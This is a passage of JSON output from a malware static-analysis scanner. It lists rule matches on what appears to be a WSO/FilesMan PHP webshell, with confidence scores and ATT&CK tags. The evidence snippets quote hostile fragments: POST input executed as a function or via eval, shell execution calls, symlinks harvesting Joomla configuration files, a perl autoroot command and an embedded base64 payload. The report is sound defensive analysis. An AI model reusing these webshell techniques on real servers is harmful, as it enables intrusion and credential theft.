"objectives/execution/interpreter/eval/dynamic::eval-transformed-code", "l": 3 }, { "c": 0.8500000238418579, "d": "Obfuscated code drops or decodes payload", "e": [ "text.lines_over_1000 = 1.00", "body", "ActiveXObject(", "eval", "open", "functions.density_per_100_lines = 100.00", "req.status == 200", "text.last_line_length = 1172.00", "text.total_lines = 1.00" ], "i": "objectives/supply-chain/trojanized/app/package::suspicious-obfuscated-dropper", "l": 3 }, { "c": 1.0, "d": "javascript code embedded in string", "e": [ "Detected javascript at offset 0x2415", "Detected javascript at offset 0x20c1" ], "i": "metadata/lang/embedded::javascript", "l": 2 }, { "a": "T1056", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "value" ], "i": "objectives/credential-access/email/webmail/hidden-autofill::username-password-read--rx-8", "l": 1 }, { "c": 1.0, "d": "JavaScript length property", "e": [ "length" ], "i": "metadata/lang/scripted::length-prop", "l": 1 }, { "c": 0.30000001192092896, "d": "for loop (AST)", "e": [ "for(i=0;i\u003cd.mf.elements.length;i++)\\r\\n\\t\\t\\tparams += '\u0026'+d.mf.elements[i].name+'='+encodeURICompon..." ], "i": "micro-behaviors/data/control-flow/analysis::for-loop-ast", "l": 2 }, { "c": 0.699999988079071, "d": "URL-encodes data via encodeURIComponent", "e": [ "encodeURIComponent" ], "i": "micro-behaviors/data/encode/url::encode-uri-component-call", "l": 2 }, { "a": "T1539", "c": 0.8199999928474426, "d": "Programmatically submits form", "e": [ ".submit(" ], "i": "objectives/collection/stealer/browser::dom-submit-call", "l": 1 }, { "a": "T1056", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "document" ], "i": "objectives/credential-access/email/webmail/hidden-autofill::username-password-read--rx-5", "l": 1 }, { "c": 1.0, "d": "PHP scandir function symbol", "e": [ "scandir" ], "i": "micro-behaviors/fs/enumerate/directory::php-scandir", "l": 3 }, { "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "PHP_SELF" ], "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-2", "l": 1, "m": "B0030" }, { "c": 0.30000001192092896, "d": "stderr string reference", "e": [ "\u003e redirect stderr to stdout (2\u003e\u00261)\u003c/nobr\u003e\u003cbr/\u003e\u003ctextarea class=bigarea name=output style=\"border-bottom:0;margin:0;\" readonly\u003e", "stderr_to_out" ], "i": "micro-behaviors/process/fd/stdio::stderr-string", "l": 2 }, { "c": 0.8500000238418579, "d": "MIME octet-stream content type", "e": [ "application/octet-stream" ], "i": "micro-behaviors/communications/email/mime::mime-octet-stream", "l": 1 }, { "a": "T1083", "c": 1.0, "d": "Iterate directory contents via functions in PHP", "e": [ "Scandir(" ], "i": "micro-behaviors/fs/directory/traverse::php-dir-traverse-fn", "l": 2 }, { "a": "T1059.006", "c": 0.9800000190734863, "d": "eval() call with direct user input", "e": [ "$_POST['p1']", "eval" ], "i": "micro-behaviors/process/interpreter/eval::eval-user-input", "l": 4, "m": "E1059" }, { "a": "T1071.001", "c": 0.6499999761581421, "d": "httpd.conf configuration file", "e": [ "httpd.conf" ], "i": "micro-behaviors/communications/http/server/listener::httpd-conf-path", "l": 3, "m": "C0002" }, { "c": 0.8999999761581421, "d": "File has 30 or more lines", "e": [ "text.total_lines = 3118.00" ], "i": "metadata/file/text/metrics::file-has-30-plus-lines", "l": 1 }, { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "find . -type f" ], "i": "objectives/command-and-control/backdoor/webshell/recon::recon-command-panel--rx-13", "l": 1, "m": "B0030" }, { "c": 0.8999999761581421, "d": "netstat -an command", "e": [ "netstat -an" ], "i": "micro-behaviors/os/network/status::netstat-an", "l": 3 }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "secret" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action--rx-10", "l": 1 }, { "c": 0.8999999761581421, "d": "HTTP protocol prefix", "e": [ "http://" ], "i": "micro-behaviors/communications/http/protocol::http-prefix", "l": 2 }, { "c": 0.800000011920929, "d": "PHP mysql_select_db database selection", "e": [ "mysql_select_db" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-select-db", "l": 3 }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "\u003ctr\u003e\u003cth width='400'\u003e\u003cspan\u003eSMTP DETAILS\u003c/span\u003e\u003c/th\u003e\u003cth width=200\u003e\u003cspan\u003eFTP Host\u003c/span\u003e\u003c/th\u003e \u003cth width=150\u003e\u003cspan\u003eFTP Username\u003c/spa", "password", "define('DB_PASSWORD', ", "\u003cFORM method='POST'\u003eDB Prefix : \u003cINPUT class ='inputz' size='8' value='wp_' name='prefix' type='text'\u003e\u0026nbsp;\u0026nbsp;Host : \u003cINPU", "\u003cpre align=center\u003e\u003cform method=post\u003ePassword: \u003cinput type=Password name=pass\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/pre\u003e", "USER WITHOUT PASSWORD!", "\u003ccenter\u003e\u003ch2\u003ePassword : jijle3\u003c/h2\u003e\u003cdiv class=content\u003e", "\u003ccenter\u003e\u003ctable border=1 cellspacing=1 cellpading=1\u003e \\r\\n\u003ctr\u003e\u003cth width='400'\u003e\u003cspan\u003eSMTP DETAILS\u003c/span\u003e\u003c/th\u003e\u003cth width=200\u003e\u003cspan\u003eF", "\u003cbr\u003e\u003cbr\u003e\u003ccenter\u003e\u003cdiv class='mybox'\u003e\\r\\n\u003ch1\u003e[ Wordpress login changer ]\u003c/h1\u003e\\r\\n\u003cFORM method='POST'\u003eDB Prefix : \u003cINPUT class ='i", "\u003ccenter\u003e\u003ch1\u003e IPB index Changer \u003c/h1\u003e\r\n\u003cform method = \"POST\"\u003e\r\n\u003ctable border = \"1\" width=\"443\" height=\"316\" style=\"text-align: ce" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-4--inline-11750", "l": 1 }, { "a": "T1071.001", "d": "User-Agent header", "e": [ "User-Agent:" ], "i": "micro-behaviors/communications/http/request/client::user-agent-header", "l": 2, "m": "C0002" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "PHP source imports file_put_contents", "e": [ "[FetchURL, WSOsetcookie, WSOstripslashes, ZoneH, addcslashes, addslashes, apache_get_modules, array_key_exists, array_map, array" ], "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-file-put-contents", "l": 1 }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "to the" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-6--inline-11768", "l": 1 }, { "c": 0.8199999928474426, "d": "Generic weak-login username marker", "e": [ "'user']" ], "i": "objectives/lateral-movement/brute-force/ssh::weak-login-pair-set--rx-5", "l": 1 }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Very long embedded string", "e": [ "strings.max_length = 27604.00" ], "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string", "l": 1 }, { "c": 1.0, "d": ".cmd extension", "e": [ ".cmd" ], "i": "metadata/file/extension::cmd-ext", "l": 1 }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "store" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-6--inline-11769", "l": 1 }, { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "netstat -an" ], "i": "objectives/command-and-control/backdoor/webshell/recon::recon-command-panel--rx-11", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.9800000190734863, "d": "User input used as function (GET/POST/REQUEST)", "e": [ "htmlspecialchars($_POST['p1']($_POST['p2']))", "$_POST['p1']($_POST['p2'])" ], "i": "objectives/command-and-control/backdoor/webshell/obf-dispatch::dynamic-user-input-call-1", "l": 4, "m": "B0030" }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via exec()", "e": [ "exec" ], "i": "micro-behaviors/process/create/shell/lang::exec-dup", "l": 3, "m": "E1059" }, { "c": 0.8500000238418579, "d": "PHP mysql query execution APIs", "e": [ "mysql_query" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-query", "l": 3 }, { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "shell_exec" ], "i": "objectives/command-and-control/backdoor/webshell/exec::dangerous-php-function-cluster--rx-20", "l": 1, "m": "B0030" }, { "c": 0.699999988079071, "d": "Domain tracking field", "e": [ "domain =" ], "i": "objectives/command-and-control/infrastructure/tracking::domain-field", "l": 1 }, { "d": "Content-Type header string", "e": [ "Content-Type:" ], "i": "micro-behaviors/communications/http/request/client::content-type-header", "l": 1 }, { "a": "T1505.003", "c": 1.0, "d": "administrator role reference", "e": [ "administrator" ], "i": "objectives/command-and-control/backdoor/webshell/hide::wp-user-count-manipulation-admin", "l": 1, "m": "B0030" }, { "a": "T1505.003", "d": "PHP open tag", "e": [ "\u003c?php" ], "i": "objectives/command-and-control/backdoor/webshell/request::php-tag", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.8500000238418579, "d": "PHP request superglobal access", "e": [ "$_POST" ], "i": "objectives/command-and-control/backdoor/webshell/upload::php-request-variadic-function-call", "l": 3, "m": "B0030" }, { "c": 0.8999999761581421, "d": "passthru fallback function name", "e": [ "passthru" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-passthru-name", "l": 1, "m": "B0030" }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "/upload.php", "upload", "/uploads.php", "uploads.php", "\u003cspan\u003eUpload file:\u003c/span\u003e", "upload.php", "\u003e\\r\\n\\t\\t\u003cinput type=hidden name=p1 value='uploadFile'\u003e\\r\\n\\t\\t\u003cinput type=hidden name=charset value=", "\u003cinput type=hidden name=p1 value='uploadFile'\u003e", "uploads", "\u003e\\r\\n\\t\\t\u003cspan\u003eUpload file:\u003c/span\u003e{$is_writable}\u003cbr\u003e\u003cinput class='toolsInp' type=file name=f\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/for" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action--rx-11", "l": 1 }, { "c": 0.8199999928474426, "d": "Regex component marker", "e": [ "\"root\"," ], "i": "objectives/lateral-movement/brute-force/ssh::weak-login-pair-set--rx-4", "l": 1 }, { "c": 0.699999988079071, "d": "PHP error suppression operator usage", "e": [ "@set_time_limit(0)", "@ini_get('safe_mode')", "@set_magic_quotes_runtime(0)", "@chdir($_POST['c'])", "@ini_set('max_execution_time', 0)", "@$_POST['p1']", "@getcwd()", "@$_POST['charset']", "@$_POST['a']", "@ini_set('log_errors', 0)", "@ini_set('error_log', NULL)", "@$_POST['p3']", "@ini_get('disable_functions')", "@define('WSO_VERSION', '2.5')", "@$_POST['p2']" ], "i": "micro-behaviors/os/stdio::error-suppress-prefix", "l": 3 }, { "c": 0.7599999904632568, "d": "Regex component marker", "e": [ "directory" ], "i": "micro-behaviors/data/text/llm/action::llm-path-navigation-action--rx-21", "l": 1 }, { "c": 0.8500000238418579, "d": "Removes PHP script execution time limit", "e": [ "@set_time_limit(0)" ], "i": "objectives/command-and-control/backdoor/webshell/session::unlimited-runtime-call", "l": 4 }, { "d": "CREATE TABLE SQL keyword", "e": [ "CREATE TABLE" ], "i": "micro-behaviors/data/db/conn/sql::sql-create-table", "l": 3 }, { "a": "T1562.001", "c": 1.0, "d": "Regex component marker", "e": [ "function_exists('passthru" ], "i": "objectives/evasion/security-bypass/runtime::function-exists-exec--rx-2", "l": 1, "m": "B0032" }, { "a": "T1110", "c": 0.8500000238418579, "d": "Brute force attack reference", "e": [ "bruteforce", "BruteForce" ], "i": "objectives/discovery/network/scan/port::brute-force-ref", "l": 4, "m": "E1046" }, { "d": "INSERT INTO SQL keyword", "e": [ "INSERT INTO" ], "i": "micro-behaviors/data/db/conn/sql::sql-insert", "l": 3 }, { "a": "T1005", "c": 0.75, "d": "Targets Desktop folder", "e": [ "\"desktop\"" ], "i": "objectives/collection/stealer/tactics::desktop-folder-target", "l": 1, "m": "B0028" }, { "c": 0.800000011920929, "d": "Detects PHP rename file recreation call", "e": [ "rename" ], "i": "objectives/impact/infect/script::php-rename-call", "l": 1 }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Process open via popen()", "e": [ "popen" ], "i": "micro-behaviors/process/create/shell/lang::popen", "l": 3, "m": "E1059" }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "[] Scanning JOOMLA FTP Credentials []" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-4--inline-11748", "l": 1 }, { "a": "T1584", "c": 1.0, "d": "PHP dynamic curl_exec call from lookup table", "e": [ "curl_exec(" ], "i": "objectives/command-and-control/dropper/delivery/seo-spam::php-dynamic-curl-exec", "l": 2 }, { "c": 1.0, "d": "PHP rmdir function symbol", "e": [ "rmdir" ], "i": "micro-behaviors/fs/delete/directory::php-rmdir", "l": 3 }, { "a": "T1562.001", "c": 0.699999988079071, "d": "Reads open_basedir setting", "e": [ "ini_get('open_basedir" ], "i": "objectives/evasion/security-bypass/runtime::ini-get-open-basedir", "l": 4, "m": "B0032" }, { "c": 0.4000000059604645, "d": "exploit keyword", "e": [ "exploit" ], "i": "micro-behaviors/data/text/keywords/lexicon::exploit", "l": 1 }, { "d": ".cmd extension reference", "e": [ ".cmd" ], "i": "micro-behaviors/fs/path/extension::cmd-dup", "l": 2 }, { "c": 0.8199999928474426, "d": "Regex component marker", "e": [ "\"admin\"," ], "i": "objectives/lateral-movement/brute-force/ssh::weak-login-pair-set--rx-3", "l": 1 }, { "c": 0.699999988079071, "d": "Unix /tmp/ path reference", "e": [ "/tmp/" ], "i": "micro-behaviors/fs/path/temp::unix-temp", "l": 2 }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "ini_get('disable_functions" ], "i": "objectives/command-and-control/backdoor/webshell/config::php-security-setting-probe--rx-2", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "ini_get('safe_mode" ], "i": "objectives/command-and-control/backdoor/webshell/config::php-security-setting-probe--rx-1", "l": 1, "m": "B0030" }, { "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "$_SERVER[" ], "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-4", "l": 1, "m": "B0030" }, { "a": "T1562.001", "c": 1.0, "d": "Regex component marker", "e": [ "function_exists('exec" ], "i": "objectives/evasion/security-bypass/runtime::function-exists-exec--rx-1", "l": 1, "m": "B0032" }, { "a": "T1505.003", "c": 0.7799999713897705, "d": "Regex component marker", "e": [ "hashcrack" ], "i": "objectives/command-and-control/backdoor/webshell/self-label::webshell-admin-terms--rx-20", "l": 1, "m": "B0030" }, { "c": 0.8399999737739563, "d": "CSV attachment filename response", "e": [ "Content-Disposition: attachment; filename" ], "i": "micro-behaviors/data/format/csv/http-telemetry::csv-attachment-filename", "l": 1 }, { "c": 0.8999999761581421, "d": "Telnet protocol reference", "e": [ "telnet\"\u003e [ Telnet(23" ], "i": "micro-behaviors/communications/socket/telnet::telnet", "l": 3 }, { "a": "T1565.001", "c": 0.8500000238418579, "d": "Regex component marker", "e": [ "download" ], "i": "objectives/evasion/hosts-file/block-security::escan-security-domain--rx-1", "l": 1, "m": "F0004" }, { "a": "T1546", "c": 0.8999999761581421, "d": "Generic plugin/extension path (plugins/extensions)", "e": [ "plugins/akismet/admin.php#\", \"wp-content/plugins/" ], "i": "objectives/command-and-control/backdoor/loader/plugin::plugin-path-fragment-1", "l": 1 }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "[] Scanning JOOMLA FTP Credentials []" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action--rx-4", "l": 1 }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via system()", "e": [ "system" ], "i": "micro-behaviors/process/create/shell/lang::system", "l": 3, "m": "E1059" }, { "d": "WordPress plugin directory reference", "e": [ "wp-content/plugins" ], "i": "micro-behaviors/fs/path/application/webapp::wp-plugin-path", "l": 1 }, { "c": 0.30000001192092896, "d": "secret keyword", "e": [ "secret" ], "i": "micro-behaviors/data/text/keywords/lexicon::secret", "l": 1 }, { "d": "Redirect to /dev/null", "e": [ "\u003e/dev/null" ], "i": "micro-behaviors/os/console/io::redirect-dev-null", "l": 2 }, { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "escapeshellarg" ], "i": "objectives/command-and-control/backdoor/webshell/exec::dangerous-php-function-cluster-cond-0--inline-16595", "l": 1, "m": "B0030" }, { "c": 0.7599999904632568, "d": "Regex component marker", "e": [ "please" ], "i": "micro-behaviors/data/text/llm/action::llm-path-navigation-action--rx-27", "l": 1 }, { "c": 0.6600000262260437, "d": "Get memory info from /proc/meminfo", "e": [ "/proc/meminfo" ], "i": "micro-behaviors/fs/proc/system::system-meminfo", "l": 3 }, { "a": "T1110.001", "c": 0.20000000298023224, "d": "admin keyword", "e": [ "admin" ], "i": "micro-behaviors/data/text/keywords/username::admin-keyword", "l": 2, "m": "B0028" }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "net accounts", "User accounts", "User Accounts", "cat /var/cpanel/accounting.log", "Account Settings" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-4--inline-11753", "l": 1 }, { "a": "T1543", "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "usr/sbin" ], "i": "objectives/persistence/system/daemon/hidden-path::rc-local-hidden-system-bin--rx-4", "l": 1 }, { "a": "T1491", "c": 0.75, "d": "\"hacked\" intimidation phrase", "e": [ "Hacked" ], "i": "micro-behaviors/data/text/malware/lockscreen::hacked-phrase", "l": 2 }, { "c": 0.8500000238418579, "d": "MIME attachment disposition", "e": [ "Content-Disposition: attachment" ], "i": "micro-behaviors/communications/email/mime::mime-content-disposition", "l": 1 }, { "a": "T1083", "c": 1.0, "d": "Iterate directory contents via iterators in PHP", "e": [ "RecursiveDirectoryIterator" ], "i": "micro-behaviors/fs/directory/traverse::php-dir-traverse-iterator", "l": 2 }, { "c": 0.75, "d": "PHP MySQL UTF8 charset selection", "e": [ "mysql_set_charset" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-set-charset", "l": 3 }, { "c": 0.800000011920929, "d": "Writes a string to an open file", "e": [ "fputs" ], "i": "micro-behaviors/fs/write/file/direct::fputs", "l": 3, "m": "C0052" }, { "a": "T1082", "c": 0.699999988079071, "d": "Accesses PHP_OS constant (OS detection)", "e": [ "PHP_OS" ], "i": "objectives/discovery/system/fingerprint/info::php-os-constant", "l": 3, "m": "E1082" }, { "c": 0.8399999737739563, "d": "password/token/api_key field keyword", "e": [ "password" ], "i": "micro-behaviors/data/text/keywords/credential::credential-field", "l": 1 }, { "c": 0.800000011920929, "d": "URL parameter fetched and executed", "e": [ "fopen($_POST['p1'], \"r\")", "file_get_contents($_POST['url'])", "fopen($_POST['p1'], 'r')", "fopen($_POST['file'], 'w')", "fopen($_POST['p1'], 'w')", "curl_init(\"file://\" . $_POST['p2'] . \"\\0\" . preg_replace('!\\\\(\\\\d+\\\\)\\\\s.*!', '', '/home/bediger/src...", "file_get_contents($_POST['p1'])", "strpos(@file_get_contents($item), @$_POST['p2'])", "fopen($_POST['p1'], \"w\")" ], "i": "objectives/command-and-control/backdoor/webshell/fetch::url-param-fetch", "l": 4, "m": "B0030" }, { "a": "T1071", "c": 0.6000000238418579, "d": "URL with .php endpoint", "e": [ "http://www.hashcrack.com/index.php" ], "i": "objectives/command-and-control/infrastructure/domain/tld::php-endpoint-url", "l": 1 }, { "a": "T1059.006", "c": 0.75, "d": "Perl script execution", "e": [ "perl phdz.pl linux\", \"AutoRoot [ FreeBSD ]\" =\u003e \"chmod 777 phdz.pl ; perl phdz.pl" ], "i": "objectives/execution/interpreter/script/download::perl-execute", "l": 3, "m": "C0059" }, { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "php_uname" ], "i": "objectives/command-and-control/backdoor/webshell/exec::dangerous-php-function-cluster--rx-17", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ ".mysql_history" ], "i": "objectives/command-and-control/backdoor/webshell/recon::sensitive-path-panel--rx-8", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "PHP source imports base64_decode", "e": [ "[FetchURL, WSOsetcookie, WSOstripslashes, ZoneH, addcslashes, addslashes, apache_get_modules, array_key_exists, array_map, array" ], "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-base64-decode", "l": 1 }, { "c": 1.0, "d": "exploit-db.com domain", "e": [ "exploit-db.com" ], "i": "micro-behaviors/data/text/security/threat-intel::exploit-db-domain", "l": 1 }, { "c": 0.75, "d": "Session variable access ($_SESSION)", "e": [ "$_SESSION" ], "i": "micro-behaviors/communications/http/request/params::session", "l": 3 }, { "c": 0.8500000238418579, "d": "PHP mysql_connect database handle", "e": [ "mysql_connect" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-connect", "l": 3 }, { "a": "T1059", "c": 0.8500000238418579, "d": "HTTP POST parameter access ($_POST)", "e": [ "$_POST" ], "i": "micro-behaviors/communications/http/request/params::post-dup", "l": 3 }, { "a": "T1505.003", "c": 0.4000000059604645, "d": "PHP $_GET parameter access", "e": [ "$_GET[" ], "i": "objectives/command-and-control/backdoor/webshell/request::php-get", "l": 1, "m": "B0030" }, { "c": 0.800000011920929, "d": "Resolve GID to group (posix_getgrgid)", "e": [ "posix_getgrgid", "posix_getgrgid" ], "i": "micro-behaviors/os/group/lookup::posix-getgrgid", "l": 3 }, { "a": "T1105", "c": 0.699999988079071, "d": "wget command", "e": [ " wget " ], "i": "micro-behaviors/communications/http/download/curl::wget-cmd", "l": 3 }, { "a": "T1027", "c": 0.6499999761581421, "d": "serialize/unserialize for object serialization", "e": [ "serialize(" ], "i": "objectives/anti-static/obfuscation/encoding/xor::serialize-call", "l": 2, "m": "B0032" }, { "c": 0.800000011920929, "d": "HTTP Cookie access ($_COOKIE)", "e": [ "$_COOKIE" ], "i": "micro-behaviors/communications/http/request/params::cookie", "l": 3 }, { "a": "T1027", "c": 0.75, "d": "Many no-param functions", "e": [ "functions.no_params_count = 90.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/functions::many-no-param-functions", "l": 2, "m": "B0032" }, { "c": 0.8199999928474426, "d": "LLM secret or credential target", "e": [ "secret" ], "i": "micro-behaviors/data/text/llm/target::llm-secret-target-general", "l": 1 }, { "a": "T1105", "c": 0.800000011920929, "d": "Creates or overwrites a local file", "e": [ "file_put_contents" ], "i": "micro-behaviors/fs/write/file/direct::file-put-contents", "l": 3, "m": "C0052" }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "\u003cpre align=center\u003e\u003cform method=post\u003ePassword: \u003cinput type=Password name=pass\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/pre\u003e", "\u003cFORM method='POST'\u003eDB Prefix : \u003cINPUT class ='inputz' size='8' value='wp_' name='prefix' type='text'\u003e\u0026nbsp;\u0026nbsp;Host : \u003cINPU", "password", "\u003ccenter\u003e\u003ch1\u003e IPB index Changer \u003c/h1\u003e\r\n\u003cform method = \"POST\"\u003e\r\n\u003ctable border = \"1\" width=\"443\" height=\"316\" style=\"text-align: ce", "define('DB_PASSWORD', ", "\u003ctr\u003e\u003cth width='400'\u003e\u003cspan\u003eSMTP DETAILS\u003c/span\u003e\u003c/th\u003e\u003cth width=200\u003e\u003cspan\u003eFTP Host\u003c/span\u003e\u003c/th\u003e \u003cth width=150\u003e\u003cspan\u003eFTP Username\u003c/spa", "\u003cbr\u003e\u003cbr\u003e\u003ccenter\u003e\u003cdiv class='mybox'\u003e\\r\\n\u003ch1\u003e[ Wordpress login changer ]\u003c/h1\u003e\\r\\n\u003cFORM method='POST'\u003eDB Prefix : \u003cINPUT class ='i", "USER WITHOUT PASSWORD!", "\u003ccenter\u003e\u003ch2\u003ePassword : jijle3\u003c/h2\u003e\u003cdiv class=content\u003e", "\u003ccenter\u003e\u003ctable border=1 cellspacing=1 cellpading=1\u003e \\r\\n\u003ctr\u003e\u003cth width='400'\u003e\u003cspan\u003eSMTP DETAILS\u003c/span\u003e\u003c/th\u003e\u003cth width=200\u003e\u003cspan\u003eF" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action--rx-6", "l": 1 }, { "a": "T1486", "c": 0.4000000059604645, "d": "rename( function", "e": [ "rename(" ], "i": "objectives/impact/ransom/tactics::rename-fn", "l": 1 }, { "a": "T1105", "c": 0.8500000238418579, "d": "File upload access ($_FILES)", "e": [ "$_FILES" ], "i": "micro-behaviors/communications/http/request/params::files", "l": 3 }, { "c": 1.0, "d": "PHP unlink function symbol", "e": [ "unlink" ], "i": "micro-behaviors/fs/delete/file::php-unlink", "l": 3 }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via shell_exec()", "e": [ "shell_exec" ], "i": "micro-behaviors/process/create/shell/lang::shell-exec", "l": 3, "m": "E1059" }, { "c": 0.30000001192092896, "d": "stdout string reference", "e": [ "\u003e redirect stderr to stdout (2\u003e\u00261)\u003c/nobr\u003e\u003cbr/\u003e\u003ctextarea class=bigarea name=output style=\"border-bottom:0;margin:0;\" readonly\u003e" ], "i": "micro-behaviors/process/fd/stdio::stdout-string", "l": 2 }, { "c": 0.8199999928474426, "d": "Detects overwrite-mode file open", "e": [ "fopen('phdz-symserver/.htaccess', 'w'" ], "i": "objectives/impact/infect/script::php-overwrite-file-mode", "l": 1 }, { "c": 0.800000011920929, "d": "Detects PHP copy file recreation call", "e": [ "copy" ], "i": "objectives/impact/infect/script::php-copy-call", "l": 1 }, { "c": 0.699999988079071, "d": "MD5 hash computation", "e": [ "md5" ], "i": "micro-behaviors/crypto/hash/digest::md5-php", "l": 3, "m": "C0029" }, { "a": "T1505.003", "c": 0.7799999713897705, "d": "Regex component marker", "e": [ "Deface" ], "i": "objectives/command-and-control/backdoor/webshell/self-label::webshell-admin-terms--rx-21", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.9900000095367432, "d": "Decodes a large embedded payload (base64)", "e": [ "base64_decode('PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6NDk0cHg7bGVmdDo1MCU7dG9wOjIwcHg7bWFyZ2luLWxlZnQ6LTI3NnB4O3BhZGRpb" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::eval-base64-large-payload", "l": 4, "m": "B0030" }, { "a": "T1059", "c": 0.699999988079071, "d": "Bind shell keyword", "e": [ "Bind Shell" ], "i": "micro-behaviors/data/text/malware/terms::generic-term-bindshell", "l": 3 }, { "c": 0.8999999761581421, "d": "HTTPS protocol prefix", "e": [ "https://" ], "i": "micro-behaviors/communications/http/protocol::https-prefix", "l": 2 }, { "c": 0.699999988079071, "d": "PHP object serialization", "e": [ "serialize" ], "i": "micro-behaviors/data/serialize/object::serialize", "l": 3 }, { "a": "T1222", "c": 0.699999988079071, "d": "Changes file permissions via chmod()", "e": [ "chmod" ], "i": "micro-behaviors/fs/chmod/modify::chmod-call", "l": 3 }, { "a": "T1552.001", "c": 0.8199999928474426, "d": "Filters documents by wallet keywords", "e": [ ".txt');\n @symlink('/home/' . $user . '/public_html/home/configuration.php', $user . '-joomla-home.txt');\n " ], "i": "objectives/collection/stealer/wallet::crypto-document-filename-filter", "l": 3 }, { "a": "T1059.006", "c": 0.75, "d": "PHP eval() token present", "e": [ "eval" ], "i": "micro-behaviors/process/interpreter/eval::eval-symbol", "l": 4, "m": "E1059" }, { "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "method=" ], "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-3", "l": 1, "m": "B0030" }, { "c": 1.0, "d": ".tar.gz extension", "e": [ "/site.tar.gz", "/home.tar.gz", "/forum.tar.gz" ], "i": "objectives/command-and-control/dropper/standalone::tar-gz-ext", "l": 1 }, { "a": "T1027", "c": 0.9399999976158142, "d": "Regex component marker", "e": [ "linux" ], "i": "objectives/anti-static/obfuscation/payload/config::arch-keyed-hex-blob-dict--rx-20", "l": 1, "m": "B0032" }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "IP Configuration", "/public_html/configuration.php", "/public_html/cms/configuration.php", "/public_html/site/configuration.php", "/public_html/joo/configuration.php", "/public_html/joomla/configuration.php", "/public_html/main/configuration.php", "/public_html/portal/configuration.php" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-4--inline-11746", "l": 1 }, { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "exec" ], "i": "objectives/command-and-control/backdoor/webshell/exec::dangerous-php-function-cluster--rx-16", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.949999988079071, "d": "FilesMan webshell family", "e": [ "FilesMan" ], "i": "well-known/malware/webshell/family::filesman", "l": 4, "m": "B0030" }, { "a": "T1562.001", "c": 0.699999988079071, "d": "Reads disable_functions setting", "e": [ "ini_get('disable_functions" ], "i": "objectives/evasion/security-bypass/runtime::ini-get-disable-functions", "l": 4, "m": "B0032" }, { "a": "T1110.001", "c": 0.8500000238418579, "d": "Service account oracle", "e": [ "oracle" ], "i": "objectives/lateral-movement/brute-force/password::service-account-oracle", "l": 1, "m": "E1110" }, { "a": "T1505.003", "c": 0.4000000059604645, "d": "PHP $_POST parameter access", "e": [ "$_POST[" ], "i": "objectives/command-and-control/backdoor/webshell/request::php-post", "l": 1, "m": "B0030" }, { "c": 0.800000011920929, "d": "Writes data to an open file", "e": [ "fwrite" ], "i": "micro-behaviors/fs/write/file/direct::fwrite", "l": 3, "m": "C0052" }, { "d": "password keyword", "e": [ "password" ], "i": "micro-behaviors/data/text/keywords/lexicon::password", "l": 1 }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "Regex component marker", "e": 